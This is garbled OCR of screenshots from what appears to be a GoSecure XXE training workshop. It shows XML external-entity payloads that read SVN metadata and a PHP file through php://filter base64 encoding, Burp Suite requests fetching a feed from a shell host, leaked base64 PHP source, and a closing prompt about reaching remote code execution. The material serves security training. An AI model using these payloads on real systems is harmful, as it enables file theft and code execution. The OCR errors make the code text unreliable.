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File Edit View Language XML
l
2  <!DOCTYPE fteed [

3 <IENTITY xxe SYSTEM "php://tilter/convert.basetd-encode/resource=./.svn/wc.db"”

4 ]» ﬁ

5

6 <feeds SVN metadata

7 ctitlertest</title> (older version : .svn/entries)

a ¢description»test</description>»

9
18 <entry>
11 <title»Hello</title>
12 <link href="http://example.com”></link>
13 <content>&xxe; </content>

14 <fentry>

15

16  </feed>



1. Ctrl-Shift-B

2. Grep or Open in SQLite

E Burp Suite Professional 7 - Temporary Project - licensed to GoSecure Inc. [13 user license] — O x
Burp Intruder Repeater Window Help Backslash
Sequencer Decoder Comparer Extender Project options User options Alerts JSOM Beautifier Hackvertor
Target Proxy Spider Scanner Intruder Repeater
Intercept HTTP history WebSockets history Options
Filter: Showing all items ?
# Host Method  URL Params  Edited Status Length MIME type
78 http://soe-workshop.gosec.co:8... |GET /back_mtl.jpg 304 147 IPEG ”
77 http://soe-workshop.gosec.co:8... |GET /styles.css 200 897 C55
76 http://soe-workshop.gosec.co:8... |GET [view.php?url=httpe3A%2F%2Fshell-... v 200 164394  |HTML
75 http://soe-workshop.gosec.co:8... |GET /back_mtl.jpg 304 147 IPEG
74 http://soe-workshop.gosec.co:8... |GET /styles.css 200 897 C55
73 http://soe-workshop.gosec.co:8... |GET [view.php?url=http%e3A%2F%2Fshell-... L 200 555 HTML
72 http://xe-workshop.gosec.co:8... |GET /back_mtl.jpg 304 147 IPEG
71 http://xe-workshop.gosec.co:8... |GET /styles.css 200 897 C55
70 http://xe-workshop.gosec.co:8... |GET /view.php?url=httpa3A%2F%2Fshell-... v 200 2158 HTML
69 http://xxe-workshop.gosec.co:8... |GET /back_mtl.jpg 304 147 IPEG
68 http://xe-workshop.gosec.co: 8, — === Ll ann ans = a
67 hitp://soe-workshop.gosec.co:8] B Converted text * 1
66 http://xe-workshop.gosec.co:8. w
< >
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<!-— 5VN revision 145 -->

</body>
</html>
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6 matches
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File Edit View History Bookmarks Tools Help

xxe-workshop.gosec.co:8023/test « X [Hew

(€)= C @ ® xxe-workshop.gosec.co:8023/test_dev.php

Select an option.
Server info | Current date

Use the same method use to read SVN metadata to read this PHP file




'::Jupyter atom_feed.xml an hourago

File Edit View Language

1

2  «<IDOCTYPE feed [

3 < IENTITY xxe SYSTEM "php://filter/convert.baseéd-encode/resource=./test_dev.php">
4 >

5

6 «<feed>

7 ctitlestest</title»

8 cdescription>test</description>

9
18 <entry
11 <title»Hello</title>

12 <link href="http://example.com”></1ink>
13 <contentrfxxe; </content>

14 <fentry»

15

16 < /fead>



Burp Intruder Repeater Window Help Backslash

Comparer Extender Project options User options Alerts JSON Beautifier Hackvertor

Sequencer Decoder
Repeater

Target Proxy Spider Scanner Intruder

1 % 2= 3=

Go Cancel | |< [v| |>|* Target: http:/ /xxe-workshop.gosec.co:8023 ¢ | 7

Request

Raw Params Headers Hex

GET /wiew.php?url=http://shell-workshop.gosec.co:9001/atom feed.xml HTTPR/L.1
Host: xxe-workshop.gossec.co:8023

Uzer-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =€4; rv:57.0) Gecko/IZ010010L Firefox/57.0
Accept: text/html,application/xhtml+xml,application/=xml;q=0.9,*/*;q=0.8
Aocept-Language: en-TUS,en:q=0.5

Accept-Encoding: gzip, deflate

Referer: http://xxe-workshop.gosec.co:B02Z3/

Cookie: J3ESSICNID=5EELEFCFS5199S1FDIF3EASOODEIEOBEC

Connection: close

Upgrade-Insecure-Requests: 1

'! Converted text

Copy to clipboard Close

< ?php

//testophp?func=phpinfosval=1 h

2 <] ]= 0 matches

§func = isset(§_GET['func']) ? §_GET['func'] : "":
fval = isset(§ _GET['wal']l) 7 §_GET['wal'] AL

Response

function displayDate (§format) |
Raw
Headers Hex HT echo date (§format) ; v

<title>5Smart R55 Re
2= F = 0 matches

<link type="text/cs

</head>

<hody>

«div clagss="container":>

<hlrtest</hls<br/><b:Description:</be<br><blockquoter</blockquotes<br/><hiz<a
href=''>Hello</a><br/></h3><blockquote>PD9waHAKCgovL3R1Lec30ucGhwP 2 Z1bmM 9 c GhwaW Smby Z 2YWwIM Qo KJGZ 1bmMgP SEp c 301 d
CgkX0dFVF snZnVuYyddEKSA / ITCREROVURy dmdW 53 71 0g0iAiTjsKETHZhb CA9 I Gl zc2VOKCREROVURy d2 YHwnX SkyPyAKX0dFVF sndmF sT10g0
ili T3 sKCmZ1bmi0 aW9uIGRp c3BsYX1EYXR1KCRmb 3T tYX0p THeKCWV aGBgZGF 0Z5 gkZm9ybWF DKT SKEQoKZnVu¥Y3Rph2 4 gaW imhygkb GV 27
Wwp IHsKCXBoc GluZms od 6x 1 dmV sKT sKE 0 oKaWY oJGZ1bmMgPTOgTi IpTHsKCHV ) aG8gT1H1 h&VjdCBhbhiBvcHRph 2 4uP GIyLz 4i0wod ZWHoh
YRAiPGEgaHI1Zj0nP2Z 1bm9 aW Smby Z 2YWwIMS c+U2VydmVy I GluZmB8 8L 2E+ THwgIj sKICAgICAgICB1Y2hvICIBY SBocmVmP S/ ZnVuYz1ka
XwhGE SRGF0ZSEZ2YWwOR1BgLCEZL CBnOmkgYSc+03VyomVudCERYXRIP COhPili Owod ZWHobhyAIPGIYLz4 8¥NIvE jxpbWcgc3TjPS5dzd¥B]lc
MHvbY¥B1d6VyLmdp Zic+IjsKCNOKZWxzZSB7Cgl1¥2hwICISYSBoomVmP Sc / Iz 5 CYWHrPCOhPixici8+PGIyLz4i0wodJGZ 1bmModHZhbhCk7C

NOEPz4KE</blockgquote»<br/ =</ divs

<!-— S5VN revision 145 -->

</body> W

0 matches

2l <||+]||=2||Tvre & sea

Done 1,276 bytes | 139 millis



Can you find how to get RCE using the
PHP script?
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